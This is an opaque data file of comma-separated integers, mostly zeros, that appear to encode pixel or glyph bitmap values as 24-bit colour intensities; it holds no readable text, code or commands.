0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16777215,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,16777215,16777179,11974326,11974288,3801088,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,0,6721718,11974326,11983871,16777215,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,14992,11983835,14408630,11974326,11974326,11974363,14417919,16777215,16777215,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3815994,3815994,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3815994,3815994,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777215,16758374,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,16777215,11953664,0,0,0,0,6731446,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9483995,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14992,14417883,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,6731483,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14950,9483995,14417919,16777179,9452032,0,0,102,11993087,16777215,14408630,9463354,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777215,16758374,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,14408667,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777215,16758374,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14950,11983835,16777215,16777215,16777215,16777215,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16777215,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14992,14417919,16777215,16777215,16777215,16777215,16777179,9452032,0,0,0,0,0,0,0,0,0,14992,14408667,14408592,3801088,0,102,11993087,16777215,16777215,16777215,16777215,16777215,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,16777215,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16777215,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,16777215,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14950,11983871,16777215,16777215,16777142,6684672,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,0,6731519,16777215,16777215,16777179,11953722,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777179,11964474,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777215,16758374,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777215,16777179,11964474,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16777215,16758416,3801088,0,14950,11983871,16777215,16767926,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777215,16777179,11964474,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777215,16777179,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,16777215,11953664,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,102,11993087,16777215,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0